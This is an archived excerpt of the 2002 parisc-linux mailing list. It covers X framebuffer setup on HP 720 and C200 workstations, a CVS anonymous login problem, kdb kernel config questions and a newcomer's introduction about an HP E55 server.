	by dsl2.external.hp.com (Postfix) with ESMTP id DE8AC482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  4 Jun 2002 17:08:14 -0600 (MDT)
Original-Received: from gmx.at ([62.178.92.247]) by viefep12-int.chello.at
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20020604230813.BNPN10704.viefep12-int.chello.at@gmx.at>;
          Wed, 5 Jun 2002 01:08:13 +0200
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14979

An interesting question at this point. I also have a 720, but I never
tested the graphics display up to now (I only use it via serial line).

My 720 has a single board graphics card with three BNC connectors
on it. Is this really a 24bit graphics or a 8bit graphics. The only
thing I know, is that the resolution was used with 1280x1024 under
HP-UX 9.05 (or similar...).

One day I will carry up my 21" monitor and try the grpahics on this 
machine !

Christoph


Steve Pacenka wrote:
> 
> Greetings,
> 
> I have a couple of 720's and a couple of 735's to rehabilitate.  The
> PARISC-Linux developers have done truly excellent work on the kernel and
> Debian adaptations for this architecture.  If this can yield reasonable
> GNU/Linux installs including X, the machines will go on display in our
> recycling showroom as examples of reuse of discarded cool hardware.
> Maybe someone will then adopt them to give them new homes.
> 
> I'm stymied about X on a 720/50.  Starting from an 0.9.3 ISO which
> worked fine for a base install, the default video seems to be a one bit
> B&W buffer (text overlay plane?).  fbset -i says there's no device at
> /dev/fb0, which does exist in the filesystem; XFree86 subsequently
> doesn't load the framebuffer driver.  There's no Penguin at boot.  I've
> tried later precompiled kernels through -pa33, compiling my own from
> CVS, and appending video=stifb at a boot prompt with and without sti=0.
> 
> The hardware is there:
> 
> "1. Coral SGC Graphics (10) at 0xf8000000 [1], versions 0x4, 0x0, 0x77"
> 
> This is some kind of 24 plane framebuffer, right?  I'd be satisfied with
> 8 bit color from it.
> 
> Any hints for additional instrumentation or settings?
> 
> -- thanks, SP
>    Babbage's Basement volunteer and workstation curator
>        http://www.lightlink.com/babbages/workstations.html
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:22:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steve Pacenka <spacenka@lightlink.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] howdy and 720/50 framebuffer question
Date: 04 Jun 2002 19:25:49 -0400
Lines: 26
Approved: news@gmane.org
Message-ID: <1023233150.1480.26.camel@romano>
References: <1023226391.1465.226.camel@romano-nyswri> 
	<3CFD487C.5F74FDA6@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621359 8301 80.91.229.3 (22 Nov 2014 01:55:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Christoph Plattner <christoph.plattner@gmx.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun  4 17:26:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from romano-nyswri.cfe.cornell.edu (pool-129-44-208-7.syr.east.verizon.net [129.44.208.7])
	by dsl2.external.hp.com (Postfix) with ESMTP id E4C4D482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  4 Jun 2002 17:26:40 -0600 (MDT)
Original-Received: (from romano@localhost)
	by romano-nyswri.cfe.cornell.edu (8.11.6/8.8.7) id g54NPoS01561;
	Tue, 4 Jun 2002 19:25:50 -0400
X-Authentication-Warning: romano-nyswri.cfe.cornell.edu: romano set sender to spacenka@lightlink.com using -f
In-Reply-To: <3CFD487C.5F74FDA6@gmx.at>
X-Mailer: Ximian Evolution 1.0.5 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14980

On Tue, 2002-06-04 at 19:08, Christoph Plattner wrote:
> An interesting question at this point. I also have a 720, but I never
> tested the graphics display up to now (I only use it via serial line).
> 
> My 720 has a single board graphics card with three BNC connectors
> on it. Is this really a 24bit graphics or a 8bit graphics. The only
> thing I know, is that the resolution was used with 1280x1024 under
> HP-UX 9.05 (or similar...).

Christoph,

The monochrome text plane is 1280x960 on my current victim.  It has four
BNC video connectors of which I use R, G+sync, and B.


> One day I will carry up my 21" monitor and try the grpahics on this 
> machine !

We have several large HP monitors too; I can barely lift the larger
ones.  Not very sharp, but I've only seen them in poor lighting
conditions.

-- thanks, SP




From - Thu Nov 08 21:22:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "B. Douglas Hilton" <bdhilton@charter.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP9000 C200 Visualize-EG XFree86 Success!
Date: Tue, 04 Jun 2002 21:12:24 -0400
Lines: 42
Approved: news@gmane.org
Message-ID: <3CFD6578.40301__40481.4744521447$1416621359$gmane$org@charter.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621359 8302 80.91.229.3 (22 Nov 2014 01:55:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:59 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: debian-hppa@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun  4 21:59:13 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dc-mx04.cluster1.charter.net (dc-mx04.cluster1.charter.net [209.225.8.14])
	by dsl2.external.hp.com (Postfix) with ESMTP id E7086482A
	for <parisc-linux@parisc-linux.org>; Tue,  4 Jun 2002 21:59:12 -0600 (MDT)
Original-Received: from [24.159.161.68] (HELO charter.net)
  by dc-mx04.cluster1.charter.net (CommuniGate Pro SMTP 3.5.9)
  with ESMTP id 22302062; Tue, 04 Jun 2002 23:59:11 -0400
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0rc3) Gecko/20020523
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14981

Just did a network install using the 0.9.3 full cdrom, and it
went very smoothly other than not being able to get the
rescue image ( 32 / 64 subdir ) by default. The default net
install options were messed up. I just [Q]uit the install and
ran DSelect on its own to get it working right, not really a
big deal.

The 2.4.17 kernel installed by default would not run X, causing
the HPMC error. Upgrading to Debian's 2.4.18 kernel fixed this
problem and gave me 8 bit color at 1024x768 with the Visualize-EG
board. For web surfers looking for help here is the relevant
snippet to put in /etc/X11/XF86Config-4

# Simple XFree86 Configuration for Visualize-EG STI Framebuffer

Section "Screen"
	Identifier	"Default Screen"
		Device	"Generic Video Card"
		Monitor	"Generic Monitor"
		SubSection	"Display"
			Depth	8
			Modes	"default"
		EndSubSection
EndSection

Install Notes: "gpm" doesn't seem to work for me, although I
am running a Dexxa Optical Wheel Mouse through a KVM switch.
I just set X to "PS/2" and it worked ( but no mouse wheel ).

Looks great! I was able to slurp up the whole Debian system
via the net with no trouble at all. KDE installed with no problems
and runs pretty well on this crate.

Just ordered a Visualize-24 graphics board on Ebay which I will
plug in and see if it works better than the EG board.

See you at Debconf-2!

- Doug




From - Thu Nov 08 21:22:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP9000 C200 Visualize-EG XFree86 Success!
Date: Wed, 5 Jun 2002 10:43:10 +0100 (IST)
Lines: 26
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0206051039560.1815-100000__43022.1112714664$1416621360$gmane$org@sal.ucc.ie>
References: <3CFD6578.40301@charter.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621360 8304 80.91.229.3 (22 Nov 2014 01:56:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:00 +0000 (UTC)
Cc: debian-hppa@lists.debian.org, <parisc-linux@parisc-linux.org>
To: "B. Douglas Hilton" <bdhilton@charter.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun  5 03:43:19 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from interzone.ucc.ie (interzone.ucc.ie [143.239.1.134])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9D652482A
	for <parisc-linux@parisc-linux.org>; Wed,  5 Jun 2002 03:43:17 -0600 (MDT)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by interzone.ucc.ie (8.9.3/8.9.3) with ESMTP id KAA25837;
	Wed, 5 Jun 2002 10:43:14 +0100 (BST)
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <3CFD6578.40301@charter.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14982

On Tue, 4 Jun 2002, B. Douglas Hilton wrote:

> Install Notes: "gpm" doesn't seem to work for me, although I
> am running a Dexxa Optical Wheel Mouse through a KVM switch.
> I just set X to "PS/2" and it worked ( but no mouse wheel ).

Try ImPS/2 or ExplorerPS/2 instead and add a line

Option "ZAxisMapping" "4 5"

in the InputDevice Section

> Looks great! I was able to slurp up the whole Debian system
> via the net with no trouble at all. KDE installed with no problems
> and runs pretty well on this crate.
>
> Just ordered a Visualize-24 graphics board on Ebay which I will
> plug in and see if it works better than the EG board.

Sorry to disappoint you, but just the Visualize-EG is supported for now!

gretings max





From - Thu Nov 08 21:22:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] CVS login problem
Date: Wed, 05 Jun 2002 14:26:14 +0200
Organization: H.P
Lines: 40
Approved: news@gmane.org
Message-ID: <3CFE0366.8459090F@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------5AF8D15F0CC8A194C6E9D6A5"
X-Trace: ger.gmane.org 1416621360 8306 80.91.229.3 (22 Nov 2014 01:56:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:00 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun  5 06:31:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0346F482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Jun 2002 06:31:41 -0600 (MDT)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id 87B8AD01
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Jun 2002 14:31:40 +0200 (METDST)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id OAA07909 for <parisc-linux@lists.parisc-linux.org>; Wed, 5 Jun 2002 14:30:34 +0200 (METDST)
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14983

This is a multi-part message in MIME format.
--------------5AF8D15F0CC8A194C6E9D6A5
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

	Hi
I can't access to the anonymous cvs. There is a problem, or I'm doing something wrong ?
# socksify cvs login
Logging in to :pserver:anonymous@cvs.parisc-linux.org:2401/var/cvs login
CVS password:
cvs login: authorization failed: server cvs.parisc-linux.org rejected access to /var/cvs login for user anonymous

-> I'm using just "enter" as password.

	Thanks.

-- 
	Vidal Bruno, (770-4271)
        SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@admin.france.hp.com
--------------5AF8D15F0CC8A194C6E9D6A5
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for Bruno Vidal
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------5AF8D15F0CC8A194C6E9D6A5--




From - Thu Nov 08 21:22:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CVS login problem
Date: Wed, 05 Jun 2002 15:20:42 +0200 (CEST)
Lines: 36
Approved: news@gmane.org
Message-ID: <1023283242.3cfe102a6d522@webmail.tiscalinet.be>
References: <3CFE0366.8459090F@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621360 8313 80.91.229.3 (22 Nov 2014 01:56:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:00 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun  5 07:22:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2B8C4482B
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Jun 2002 07:22:05 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17FaiQ-0002aa-00; Wed, 05 Jun 2002 15:20:42 +0200
In-Reply-To: <3CFE0366.8459090F@admin.france.hp.com>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14984

Hi Bruno,

It works for me two hours ago.

But I also met this problem one or two weeks ago and it appears to be a problem
with ISP. I inform it and the problem was solved but I did not recieved explanation.

Good luck,
    Joel

Quoting Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>:

> 	Hi
> I can't access to the anonymous cvs. There is a problem, or I'm doing
> something wrong ?
> # socksify cvs login
> Logging in to :pserver:anonymous@cvs.parisc-linux.org:2401/var/cvs
> login
> CVS password:
> cvs login: authorization failed: server cvs.parisc-linux.org rejected
> access to /var/cvs login for user anonymous
> 
> -> I'm using just "enter" as password.
> 
> 	Thanks.
> 
> -- 
> 	Vidal Bruno, (770-4271)
>         SSD-HA Team, HP-UX & LINUX Support
> 	bruno_vidal@admin.france.hp.com


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:22:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kdb_v21 branch updated to -pa26, and kallsyms cross-compile
Date: Wed, 05 Jun 2002 17:57:20 +0200 (CEST)
Lines: 61
Approved: news@gmane.org
Message-ID: <1023292640.3cfe34e07e65b@webmail.tiscalinet.be>
References: <20020529110118.A3691@systemhalted> <20020529162438.GJ9919@tykepenguin.com> <20020529132631.B3691@systemhalted> <20020529180739.GL9919@tykepenguin.com> <20020530143626.GF810@tykepenguin.com> <20020530133515.B15631@systemhalted> <20020531072849.GD1145@tykepenguin.com> <20020531085419.B18658@systemhalted> <20020604115547.GB1808@tykepenguin.com> <20020604084440.A24973@systemhalted> <20020604154954.GA29187@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621360 8318 80.91.229.3 (22 Nov 2014 01:56:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:00 +0000 (UTC)
Cc: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun  5 10:00:05 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7AF3B482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Jun 2002 10:00:04 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17FdA0-0004DW-00; Wed, 05 Jun 2002 17:57:20 +0200
In-Reply-To: <20020604154954.GA29187@tausq.org>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14985

Hi all,

It seems that the b2000 I used to test gcc-3.2 does not crash anymore :) with
all kernels :)) (pl 2.4.18 or my stuff on 2.4.19)? (I feel that fs corruption
occurs and was not detected immideately?)

Well I come back to you to see what should be the useable kdb config (to
investigate the network problem with kernel compiled with gcc-3.1 or -3.2).

Mine is now:
CONFIG_MAGIC_SYSRQ=Y
CONFIG_KDB=Y
CONFIG_KDB_MODULES=Y
# CONFIG_KDB_OFF IS NOT SET
CONFIG_KALLSYMS=Y

Thanks a lot,
    Joel

Quoting Randolph Chung <randolph@tausq.org>:

> > I think there are two maybe three places where kdb initializes 
> > certain structures during startup. I'm going to have to check 
> > those paths to see how far it gets before dying.
> > 
> > Any comments from the crowd would be helpfull :)
> > 
> > /me goes off to add some printk's and extra check
> 
> i've been offline for a bit so i might have missed something... but
> aiui
> the symptom you've been seeing is that it hangs at the "If this is the
> last message you see" message? has anyone tried to compile a kernel
> with
> early bootup messages (there's a #define in pdc_cons.c to enable this)
> and see if they get farther?
> 
> there are some debugging stuff that you can turn on in
> arch/parisc/kernel/unwind.c ... that piece of code has caused some hangs
> 
> in the past, you might want to enable those printks as well.
> 
> randolph
> -- 
>    @..@                                         http://www.TauSq.org/
>   (----)
>  ( >__< )
>  ^^ ~~ ^^
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:22:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Damian Boune" <dboune@marmot.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Greetings!
Date: Wed, 5 Jun 2002 09:01:58 -0700
Lines: 35
Approved: news@gmane.org
Message-ID: <7FD5D52DC7BFB94A867A01CE23C2C3B2021DC7@echelon.mml.marmot.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621361 8321 80.91.229.3 (22 Nov 2014 01:56:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:01 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun  5 10:03:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from enduro.mml.marmot.com (h206-80-39-2.ncal.verio.net [206.80.39.2])
	by dsl2.external.hp.com (Postfix) with SMTP id 82ADA482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Jun 2002 10:03:28 -0600 (MDT)
Original-Received: from echelon.mml.marmot.com ([172.16.0.64] helo=marmot.com)
	by enduro.mml.marmot.com with esmtp (Exim 3.35 #1 (Debian))
	id 17FdFe-0007uT-00
	for <parisc-linux@lists.parisc-linux.org>; Wed, 05 Jun 2002 09:03:10 -0700
content-class: urn:content-classes:message
X-MS-Has-Attach: 
X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0
X-MS-TNEF-Correlator: 
Thread-Topic: Greetings!
Thread-Index: AcIMqlJ+PKTfAc1uSbqzZUstCqBVBA==
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14986

Greetings all,

I am new to the PA-RISC mailing list, and to the PA-RISC world in
general so this is my introduction. I work for the outdoor equipment
manufacturer by the name of Marmot Mountain and am one of two sysadms
who run Marmot's IT department.

We have long run our financial and data systems on misc. *nix based
systems and one of these systems that no longer performs this duty is a
HP E55. Being a junkie I'm naturally trying to find a new job and life
for this little E55. I have not yet done anything much with it yet as
I've been researching just how probable it is that I can put Debian/GNU
Linux on it in some fashion. I still have all the old HPUX software in
case I decide to be masochistic (okok.. so it's not so bad, and having
disk storage don't sound so bad either, but Linux will be more fun
right?  ;)

